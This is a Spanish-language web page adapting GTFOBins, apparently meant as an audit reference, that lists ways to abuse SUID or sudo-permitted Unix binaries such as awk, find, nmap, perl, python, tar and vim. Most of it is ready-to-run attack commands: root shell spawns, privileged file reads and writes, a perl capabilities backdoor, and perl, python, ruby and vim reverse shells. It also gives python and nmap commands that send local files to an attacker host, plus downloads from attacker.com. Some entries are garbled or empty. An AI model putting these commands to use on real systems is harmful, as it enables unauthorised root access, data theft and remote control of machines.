top of page
banner_MA_red.png

UNIX SUID BINARIES

🅱️ BINARIOS A-I

🅱️  awk

🅱️  cat

🅱️  cp

🅱️  cut

🅱️  dd

🅱️  env

🅱️  find

🅱️  grep

🅱️ BINARIOS J-R

🅱️  less

🅱️  more

🅱️  mv

🅱️  nano

🅱️  nmap

🅱️  perl

🅱️  python

🅱️  ruby

🅱️ BINARIOS S-Z

🅱️  sed

🅱️  sh

🅱️  su

🅱️  sudo

🅱️  tar

🅱️  vi

🅱️  vim

 

DISCLAIMER:

Esta página presenta una lista RESUMIDA de los principales binarios Unix en ESPAÑOL que pueden aprovecharse en sistemas mal configurados para eludir restricciones de seguridad. No se trata de exploits de vulnerabilidades, sino de funciones legítimas de estos binarios que, en contextos como permisos SUID o configuraciones de sudo (visibles con sudo -l), permiten realizar tareas de post-explotación, como escapar de shells restringidas, escalar privilegios a root, transferir archivos o establecer conexiones de red (shells inversas o bind). La finalidad es servir como recurso para auditorías de seguridad, ayudando a identificar y explotar configuraciones débiles en sistemas Unix.

FUENTE:

🌐 https://gtfobins.github.io

LEYENDA DE COLORES

 BLANCO                                           Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
 [PARÉNTESIS]                                [Parámetros a introducir en una línea de comandos]
 GRIS                                                  Introducciones / Aclaraciones / Texto explicativo
VERDE                                              Sintaxis / Comandos / Código genérico
VERDE PÁLIDO                              Prompts / Parámetros destacados
AZUL                                                 Rutas / Directorios / "Windows"
▉ AZUL CLARO                                   URLs / IPs
ROSA                                                 Destacar parámetros en una línea de comandos
ROJO                                                  Comandos de privilegios / stderr / Atención
NARANJA                                         Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
AMARILLO                                       Puertos / UDP / JavaScript / php

 

pass-gen

🔎​ BUSCAR BINARIOS SUID EN EL SISTEMA

Buscar BINARIOS CON EL BIT SUID activado desde la raíz, mostrando los binarios que se permite ejecutar con los privilegios del propietario (a menudo root):
find / -perm -4000 2>/dev/null
o
find / -perm -u=s 2>/dev/null

Mostrar las entradas de /etc/sudoers aplicables al usuario actual, detallando qué comandos puede ejecutar como root:
sudo -l
User Mayuso may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/cat
    (root) /usr/bin/vim
    (ALL) /usr/sbin/service


También probar a leer el archivo "sudoers", que define las reglas de configuración para el comando sudo:
cat /etc/sudoers

Buscar LINUX CAPABILITIES (getcap permite que un proceso ejecute tareas privilegiadas sin necesidad de ser completamente root) se presentan 3 variaciones:
getcap -r / 2>/dev/null
/usr/bin/getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
 
---------------------------------------------------------------------------------------------------------------------------------------------------------

🏷️​ DEFINIR VARIABLES
 
Definir una variable de entorno:
export saludo=Hello

Hacer uso de la variable de entorno definida:
echo $saludo
Hello

Definir una variable con el archivo protegido (ejemplo: /root/nota.txt) que se quiere leer, para explotar un binario con SUID:
LFILE=/root/nota.txt
sudo cat "$LFILE"
Estas leyendo la nota secreta como si fueras root

1- awk

🅱️​ BINARIO:  AWK
Herramienta para procesar y manipular texto basado en patrones. Se usa comúnmente para extraer y reformatear datos en archivos.


🐚 Shell. Puede usarse para escapar de entornos restringidos al generar una shell interactiva del sistema:
awk 'BEGIN {system("/bin/sh")}'


📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
awk '//' "$LFILE"



📝 Escritura de Archivos. Escribe datos en archivos y puede usarse para realizar escrituras con privilegios elevados o escribir archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_escribir]
awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado.
sudo awk 'BEGIN {system("/bin/sh")}'
 

🅱️​ BINARIO:  CAT
Muestra el contenido de uno o más archivos en la terminal. También se usa para concatenar archivos y mostrarlos juntos.


📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
cat "$LFILE"



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado.
LFILE=[archivo_para_leer]
sudo cat "$LFILE"
 

2- cat

🅱️​ BINARIO:  CP
Copia archivos o directorios de un lugar a otro. Permite preservar atributos como permisos o fechas.


📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
cp "$LFILE" /dev/stdout



📝 Escritura de Archivos. Escribe datos en archivos y puede usarse para realizar escrituras con privilegios elevados o escribir archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_escribir]
echo "DATA" | cp /dev/stdin "$LFILE"



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
LFILE=[archivo_para_escribir]
echo "DATA" | sudo cp /dev/stdin "$LFILE"


Esto puede usarse para copiar y luego leer o escribir archivos desde un sistema de archivos restringido o con privilegios elevados. (La versión GNU de cp tiene la opción --parents que permite crear también la jerarquía de directorios especificada en la ruta de origen, hacia la carpeta de destino).
LFILE=[archivo_para_escribir]
TF=$(mktemp)
echo "DATA" > $TF

sudo cp $TF $LFILE

Esto sobrescribe el propio cp con una shell (o cualquier otro ejecutable) que se ejecutará como root, útil en caso de que una regla de sudo permita ejecutar solo cp por su ruta. Advertencia: esta es una acción destructiva.
sudo cp /bin/sh /bin/cp
sudo cp
 

3- cp

🅱️​ BINARIO:  CUT
El comando cut en Linux extrae secciones específicas de texto de un archivo o entrada, basándose en delimitadores, campos o posiciones de caracteres. Ejemplo: echo "nombre:edad:ciudad" | cut -d':' -f2


📑 Lectura de Archivos. Lee datos de archivos, puede usarse para realizar lecturas privilegiadas o divulgar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
cut -d "" -f1 "$LFILE"



👑 Sudo. Si al binario se le permite ejecutarse como superusuario mediante sudo, no elimina los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener el acceso privilegiado:
LFILE=[archivo_para_leer]
sudo cut -d "" -f1 "$LFILE"
 

3b- cut
4- dd

🅱️​ BINARIO:  DD
Convierte y copia archivos a bajo nivel, útil para copias de disco. Se emplea en tareas como crear imágenes de unidades.


📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
dd if=$LFILE



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
LFILE=[archivo_para_escribir]
echo "data" |
sudo dd of=$LFILE
 

🅱️​ BINARIO:  ENV
Muestra o establece variables de entorno en la sesión actual. Se usa para ejecutar comandos con un entorno específico.


🐚 Shell. Puede usarse para escapar de entornos restringidos al generar una shell interactiva del sistema:
env /bin/sh


👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado.
sudo env /bin/sh
 

5- env

🅱️​ BINARIO:  FIND
Busca archivos y directorios en el sistema según criterios. Permite realizar acciones como eliminar o listar resultados.


🐚 Shell. Puede usarse para escapar de entornos restringidos al generar una shell interactiva del sistema:
find . -exec /bin/sh \; -quit


📝 Escritura de Archivos. Escribe datos en archivos y puede usarse para realizar escrituras con privilegios elevados o escribir archivos fuera de un sistema de archivos restringido. DATA es una cadena de formato que admite algunas secuencias de escape:
LFILE=[archivo_para_escribir]
find / -fprintf "$FILE" DATA -quit



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado.
sudo find . -exec /bin/sh \; -quit
 

6- find

🅱️​ BINARIO:  GREP (TAMBIÉN EGREP, FGREP, ZGREP)
Busca texto o patrones en archivos usando expresiones regulares. Devuelve líneas que coinciden con el patrón especificado.


📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
grep '' $LFILE



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
LFILE=[archivo_para_leer]
sudo grep '' $LFILE
 

7- grep

🅱️​ BINARIO:  LESS
Muestra archivos de texto página por página. Permite navegar hacia adelante y atrás en el contenido.


🐚 Shell. Puede usarse para escapar de entornos restringidos al generar una shell interactiva del sistema. 3 opciones:
less /etc/profile
!/bin/sh

VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v

less /etc/profile
v:shell



📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
less [archivo_para_leer]

Esto es útil cuando less se utiliza como paginador por otro binario para leer un archivo diferente:
less /etc/profile
:e [
archivo_para_leer]


📝 Escritura de Archivos. Escribe datos en archivos y puede usarse para realizar escrituras con privilegios elevados o escribir archivos fuera de un sistema de archivos restringido:
echo DATA | less
s[
archivo_para_escribir]
q


Esto invoca el editor predeterminado para editar el archivo. El archivo debe existir:
less [archivo_para_escribir]
v



👑 Sudo. Si el binario está permitido para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
sudo less /etc/profile
!/bin/sh

 

8- less

🅱️​ BINARIO:  MORE
Muestra archivos de texto página por página. Solo permite avanzar, sin navegación hacia atrás.


🐚 Shell. Puede usarse para escapar de entornos restringidos al generar una shell interactiva del sistema:
TERM= more /etc/profile
!/bin/sh



📑 Lectura de Archivos. Lee datos de archivos y puede usarse para realizar lecturas con privilegios elevados o revelar archivos fuera de un sistema de archivos restringido:
more [archivo_para_leer]


👑 Sudo. Si se permite que el binario se ejecute como superusuario mediante sudo, no pierde los privilegios elevados y puede ser utilizado para acceder al sistema de archivos, escalar o mantener el acceso privilegiado:
TERM= sudo more /etc/profile
!/bin/sh

 

9- more

🅱️​ BINARIO:  MV
Mueve o renombra archivos y directorios. Actualiza la ubicación o el nombre preservando los datos.


👑 Sudo. Si se permite que el binario se ejecute como superusuario mediante sudo, no pierde los privilegios elevados y puede ser utilizado para acceder al sistema de archivos, escalar o mantener el acceso privilegiado:
LFILE=[archivo_para_escribir]
TF=$(mktemp)
echo "DATA" > $TF

sudo mv $TF $LFILE
 

10- mv

🅱️​ BINARIO:  NANO
Editor de texto ligero y fácil de usar en la terminal. Ideal para edición rápida de archivos de configuración.

FUNCIONAMIENTO:

[] [] [] [               (mover cursor)
[ctrl] + [x                        (salir) ❌
[ctrl] + [g                        (ayuda) ❓
[ctrl] + [o                        (guardar) 💾
[ctrl] + [c]                         (cancelar acción) 📛
[alt+ [6]                          (copiar toda la línea) ✏️
[alt+ [a] / [alt+ [6]       (marcar el texto desde alt + a y terminar de copiar con alt + 6) ✏️
[ctrl] + [k]                         (cortar toda la línea) ✂️
[alt] + [a] / [ctrl] + [k     (marcar el texto desde alt + a y terminar de cortar con ctrl + k) ✂️
[ctrl] + [u                        (pegar el texto copiado / cortado
[ctrl] + [w                       (buscar) 🔎
[ctrl] + [y                        (ir a página anterior) ◀️
[ctrl] + [v                        (ir a página siguiente) ▶️
[ctrl+ [u]                         (deshacer) ⏮️
[ctrl+ [e]                         (rehacer) ⏭️
[ctrl] + [r                         (insertar un archivo en el actual) 📄
[ctrl] + [                       (ir a un número de línea concreto) 📑
[ctrl] + [j                         (justificar párrafo actual) ➖


🐚 Shell. Puede usarse para salir de entornos restringidos al generar un shell de sistema interactivo:
nano
^R^X
reset; sh 1>&0 2>&0


La variable de entorno SPELL puede usarse en lugar de la opción -s si la línea de comandos no puede modificarse:
nano -s /bin/sh
/bin/sh
^T



📑Lectura de Archivos. Lee datos de archivos, puede usarse para realizar lecturas privilegiadas o revelar archivos fuera de un sistema de archivos restringido:
nano [archivo_para_leer]

📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para realizar escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
nano [archivo_para_escribir]
DATA
^O



👑 Sudo. Si se permite que el binario se ejecute como superusuario mediante sudo, no pierde los privilegios elevados y puede ser utilizado para acceder al sistema de archivos, escalar o mantener el acceso privilegiado:
sudo nano
^R^X
reset; sh 1>&0 2>&0

 

11- nano

🅱️​ BINARIO:  NMAP
Escanea redes para descubrir hosts y servicios activos. Utilizado para auditorías de seguridad y mapeo de red.


🐚 Shell. Puede usarse para salir de entornos restringidos al generar un shell de sistema interactivo:
Input echo desabilitado:
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF


El modo interactivo, disponible en las versiones 2.02 a 5.21, puede usarse para ejecutar comandos de shell.:
nmap --interactive
nmap> !sh



⏫ Subida de Archivos. Puede exfiltrar archivos a través de la red.
Envía un archivo local a través de TCP. Ejecuta
socat -v tcp-listen:8080,reuseaddr,fork - en la máquina del atacante para recoger el archivo o usa un servidor HTTP adecuado. Ten en cuenta que se establecen múltiples conexiones con el servidor. También es importante que el puerto sea uno comúnmente usado para HTTP como 80 o 8080:
RHOST=[IP-URL]
RPORT=
8080
LFILE=[archivo_para_enviar]
nmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE


Envía un archivo local a través de TCP. Ejecuta nc -l -p 12345 > "file_to_save" en la máquina del atacante para recoger el archivo:
export RHOST=[IP-URL]
export RPORT=[
puerto]
export LFILE=[
archivo_para_enviar]
TF=$(mktemp)
echo 'local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();' > $TF
nmap --script=$TF



⏬ Descarga de Archivos. Puede descargar archivos remotos.
Recupera un archivo remoto a través de TCP. Ejecuta un servidor HTTP adecuado en la máquina del atacante para enviar el archivo, por ejemplo,
php -S 0.0.0.0:8080. Ten en cuenta que se establecen múltiples conexiones con el servidor y el resultado se coloca en $TF/IP/PORT/PATH. También es importante que el puerto sea uno comúnmente usado para HTTP como 80 o 8080:
RHOST=[IP-URL]
RPORT=
8080
TF=$(mktemp -d)
LFILE=[
archivo_para_descargar]
nmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE


Recupera un archivo remoto a través de TCP. Ejecuta nc target.com 12345 < "file_to_send" en la máquina del atacante para enviar el archivo:
export LPORT=[puerto]
export LFILE=[
archivo_para_descargar]
TF=$(mktemp)
echo 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);' > $TF
nmap --script=$TF



📑 Lectura de Archivos. Lee datos de archivos, puede usarse para realizar lecturas privilegiadas o revelar archivos fuera de un sistema de archivos restringido:
TF=$(mktemp)
echo 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' > $TF
nmap --script=$TF


El archivo se analiza realmente como una lista de hosts/redes, y las líneas se filtran a través de mensajes de error:
nmap -iL [archivo_para_leer]


📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para realizar escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
TF=$(mktemp)
echo 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' > $TF
nmap --script=$TF


La carga útil aparece dentro de la salida regular de nmap:
LFILE=[archivo_para_escribir]
nmap -oG=$LFILE DATA



👑 Sudo. Si se permite que el binario se ejecute como superusuario mediante sudo, no pierde los privilegios elevados y puede ser utilizado para acceder al sistema de archivos, escalar o mantener el acceso privilegiado. La entrada de eco está deshabilitada:
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF

sudo nmap --script=$TF

El modo interactivo, disponible en las versiones 2.02 a 5.21, puede usarse para ejecutar comandos de shell:
sudo nmap --interactive
nmap> !sh

 

12- nmap

🅱️​ BINARIO:  PERL
Lenguaje de programación para tareas de texto y automatización. Comúnmente usado en scripts para procesar datos.


🐚 Shell. Puede usarse para salir de entornos restringidos al generar un shell de sistema interactivo:
perl -e 'exec "/bin/sh";'


🐚Reverse Shell. Puede usarse para salir de entornos restringidos al generar un shell de sistema interactivo:
export RHOST=[IP-URL]
export RPORT=443
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


📑 Lectura de Archivos. Lee datos de archivos, puede usarse para realizar lecturas privilegiadas o revelar archivos fuera de un sistema de archivos restringido:
LFILE=f[archivo_para_leer]
perl -ne print $LFILE


👑 Sudo. Si se permite que el binario se ejecute como superusuario mediante sudo, no pierde los privilegios elevados y puede ser utilizado para acceder al sistema de archivos, escalar o mantener el acceso privilegiado:
sudo perl -e 'exec "/bin/sh";'

 

🧰 Capabilities. Si el binario tiene establecida la capacidad de Linux CAP_SETUID o es ejecutado por otro binario con dicha capacidad establecida, puede utilizarse como una puerta trasera para mantener acceso privilegiado manipulando su propio UID de proceso:

cp $(which perl) .

sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'             (con esto funciona. asegurarse que la ruta de perl es correcta)

13- perl

🅱️​ BINARIO:  PYTHON
Lenguaje de programación versátil y de alto nivel. Se usa para desarrollo, automatización y análisis de datos.


🐚 Shell. Se puede utilizar para escapar de entornos restringidos mediante la creación de una shell del sistema interactivo:
python -c 'import os; os.system("/bin/sh")'


🐚 Reverse Shell. Puede enviar un shell inverso a un atacante que esté escuchando, para abrir un acceso remoto a la red.
Ejecuta
socat file:\tty\,raw,echo=0 tcp-listen:12345 en la máquina del atacante para recibir la shell:
export RHOST=[IP-URL]
export RPORT=
443
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'



⏫ Subida de Archivos. Puede exfiltrar archivos a través de la red.
Envía el archivo local mediante el parámetro "d" en una solicitud HTTP POST. Ejecuta un servicio HTTP en la máquina del atacante para recopilar el archivo:

export URL=[URL]
export LFILE=[
archivo_para_enviar]
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'


Sirve archivos de la carpeta local ejecutando un servidor HTTP:
export LPORT=8888
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'



⏬ Descarga de Archivos. Puede descargar archivos remotos. Obtén un archivo remoto mediante una solicitud HTTP GET:
export URL=http://attacker.com/archivo_para_descargar
export LFILE=[archivo_a_guardar]
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'



📑 Lectura de Archivos. Lee datos de archivos, por lo que puede utilizarse para realizar lecturas con privilegios o divulgar archivos fuera de un sistema de archivos restringido:
python -c 'print(open("archivo_para_leer").read())'


📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para hacer escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
python -c 'open("archivo_para_escribir","w+").write("DATA")'


👑 Sudo. Si el binario tiene permiso para ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede utilizarse para acceder al sistema de archivos, escalar privilegios o mantener acceso privilegiado:
sudo python -c 'import os; os.system("/bin/sh")'
 

14- python

🅱️​ BINARIO:  RUBY
Lenguaje de programación orientado a objetos. Popular para desarrollo web y scripting.


🐚 Shell. Puede usarse para escapar de entornos restringidos generando un shell del sistema interactivo:
ruby -e 'exec "/bin/sh"'


🐚 Reverse Shell. Puede enviar un reverse shell a un atacante en escucha para abrir un acceso remoto a la red.
Ejecuta
nc -l -p [puertoen la máquina del atacante para recibir el shell:
export RHOST=[IP_URL]
export RPORT=
443
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


⏫ Subida de Archivos. Puede exfiltrar archivos en la red. Sirve archivos en la carpeta local ejecutando un servidor HTTP. Esto requiere la versión 1.9.2 o posterior:
export LPORT=8888
ruby -run -e httpd . -p $LPORT


⏬ Descarga de Archivos. Puede descargar archivos remotos. Obtiene un archivo remoto mediante una solicitud HTTP GET:
export URL=http://attacker.com/archivo_para_descargar
export LFILE=[archivo_para_guardar]
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'



📑 Lectura de Archivos. Lee datos de archivos, puede usarse para hacer lecturas privilegiadas o divulgar archivos fuera de un sistema de archivos restringido:
ruby -e 'puts File.read("archivo_para_leer")'


📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para hacer escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
ruby -e 'File.open("archivo_para_escribir", "w+") { |f| f.write("DATA") }'


👑 Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no descarta los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
sudo ruby -e 'exec "/bin/sh"'
 

15- ruby

🅱️​ BINARIO:  SED
Herramienta para editar texto mediante comandos en flujos. Se usa para reemplazos y transformaciones automáticas.


🐚 Shell. Puede usarse para escapar de entornos restringidos generando un shell del sistema interactivo. Solo versión GNU. Además, requiere bash:
sed -n '1e exec sh 1>&0' /etc/hosts

Solo versión GNU. El shell resultante no es un shell TTY propiamente dicho:
sed e


#️⃣ Comando. Puede usarse para escapar de entornos restringidos ejecutando comandos del sistema no interactivos.
Solo versión GNU:

sed -n '1e id' /etc/hosts


📑 Lectura de Archivos. Lee datos de archivos, puede usarse para hacer lecturas privilegiadas o divulgar archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_leer]
sed '' "$LFILE"



📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para hacer escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
LFILE=[archivo_para_escribir]
sed -n "1s/.*/DATA/w $LFILE" /etc/hosts



👑 Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no descarta los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado.
Solo versión GNU. Además, requiere bash:

sudo sed -n '1e exec sh 1>&0' /etc/hosts
 

16- sed

🅱️​ BINARIO:  SH
Interprete de comandos shell para ejecutar scripts. Sirve como entorno para automatizar tareas en Linux.

🐚 Shell. Null:
null

📑 Lectura de Archivos. Null:
null

📝 Escritura de Archivos. Null:
null

👑 Sudo. Null.
null
 

17- sh

🅱️​ BINARIO:  SU
Cambia el usuario actual a otro, обычно a root. Requiere contraseña y eleva privilegios temporalmente.


👑 Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no descarta los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
sudo su
 

18- su

🅱️​ BINARIO:  SUDO
Ejecuta comandos como superusuario con permisos temporales. Requiere configuración previa para usuarios autorizados.


👑Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
sudo sudo /bin/sh
 

19- sudo
20- tar

🅱️​ BINARIO:  TAR
Crea y extrae archivos comprimidos (archivos tar). Comúnmente usado para empaquetar directorios.


🐚 Shell. Puede usarse para escapar de entornos restringidos generando un shell del sistema interactivo:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Esto solo funciona con GNU tar:
tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'

Esto solo funciona con GNU tar. Puede ser útil cuando solo está disponible una inyección limitada en el argumento del comando:
TF=$(mktemp)
echo '/bin/sh 0<&1' > "$TF"
tar cf "$TF.tar" "$TF"
tar xf "$TF.tar" --to-command sh
rm "$TF"*



​⏫ Subida de Archivos. Puede exfiltrar archivos en la red.
Esto solo funciona con GNU tar. Crea un archivo tar y envíalo vía SSH a una ubicación remota. La máquina atacante debe tener instalado el utilidad rmt (debería estar presente por defecto en distribuciones tipo Debian):

RHOST=[IP_URL]
RUSER=root
RFILE=/tmp/
archivo_para_enviar.tar
LFILE=[archivo_para_enviar]
tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh



⏬ Descarga de Archivos. Puede descargar archivos remotos.
Esto solo funciona con GNU tar. Descarga y extrae un archivo tar vía SSH. La máquina atacante debe tener instalada la utilidad rmt (debería estar presente por defecto en distribuciones tipo Debian):

RHOST=[IP_URL]
RUSER=root
RFILE=/tmp/
archivo_para_descargar.tar
tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh


📑 Lectura de Archivos. Lee datos de archivos, puede usarse para hacer lecturas privilegiadas o divulgar archivos fuera de un sistema de archivos restringido. Esto solo funciona con GNU tar:
LFILE=[archivo_para_leer]
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'



📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para hacer escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido. Esto solo funciona con GNU tar:
LFILE=[archivo_para_escribir]
TF=$(mktemp)
echo DATA > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P



👑 Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
 

🅱️​ BINARIO:  VI
Editor de texto potente y basado en comandos. Popular en entornos de servidor por su ligereza.


🐚 Shell. Puede usarse para escapar de entornos restringidos generando un shell del sistema interactivo. 2 opciones:
vi -c ':!/bin/sh' /dev/null

vi
:set shell=/bin/sh
:shell.



📑 Lectura de Archivos. Lee datos de archivos, puede usarse para hacer lecturas privilegiadas o divulgar archivos fuera de un sistema de archivos restringido:
vi [archivo_para_leer]


📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para hacer escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
vi [archivo_para_escribir]
iDATA
^[
w



👑 Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
sudo vi -c ':!/bin/sh' /dev/null
 

21- vi

🅱️​ BINARIO:  VIM
Versión mejorada de vi con funciones avanzadas. Incluye soporte para plugins y edición moderna.

FUNCIONAMIENTO:

Cambiar modos:
[i]                 (activar modo escribir) ✏️
[esc]            (activar modo navegar) 👁️

En Modo Navegar:
[[[[]          (mover cursor)
[u]                                  (deshacer última acción) ◀️
[g]                                  (ir al final del texto) ⏩
[0]                                  (ir al principio del texto) ⏪
[$]                                  (ir al final de la línea) ▶️
[w]                                 (saltar palabra)
[y]                                  (copiar lo seleccionado) 🔗
[p]                                 (pegar lo copiado) 🔗
[o]                                 (crear nueva línea)
gg                                  (ir a primera línea)
23g                               (ir a línea 23)
:w                                  (guardar cambios) 💾
:wq                               (salir y guardar) 💾❌
:q                                  (salir de VIM) ❌
:ql                                 (salir sin guardar) ❌
:q!                                 (forzar salir sin guardar) ❌❌


📡 Editar archivo remoto con VIM:
vim scp://
usuario@host//ruta/archivo


🐚 Shell. Puede usarse para escapar de entornos restringidos generando un shell del sistema interactivo:
vim -c ':!/bin/sh'
vim --cmd ':set shell=/bin/sh|:shell'


Esto requiere que vim esté compilado con soporte para Python. Anteponer :py3 para Python 3:
vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Esto requiere que vim esté compilado con soporte para Lua:
vim -c ':lua os.execute("reset; exec sh")'


🐚 Reverse Shell. Puede enviar un reverse shell a un atacante en escucha para abrir un acceso remoto a la red.
Esto requiere que vim esté compilado con soporte para Python. Anteponer :
py3 para Python 3.
Ejecuta
socat file:tty,raw,echo=0 tcp-listen:[puerto] en la máquina atacante para recibir el shell:
export RHOST=[IP-URL]
export RPORT=
443 vim -c ':py import
vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
vim.command(":q!")'



📑 Lectura de Archivos. Lee datos de archivos, puede usarse para hacer lecturas privilegiadas o divulgar archivos fuera de un sistema de archivos restringido:
vim [archivo_para_leer]


📝 Escritura de Archivos. Escribe datos en archivos, puede usarse para hacer escrituras privilegiadas o escribir archivos fuera de un sistema de archivos restringido:
vim [archivo_para_escribir]
iDATA
^[
w



👑 Sudo. Si el binario tiene permitido ejecutarse como superusuario mediante sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener acceso privilegiado:
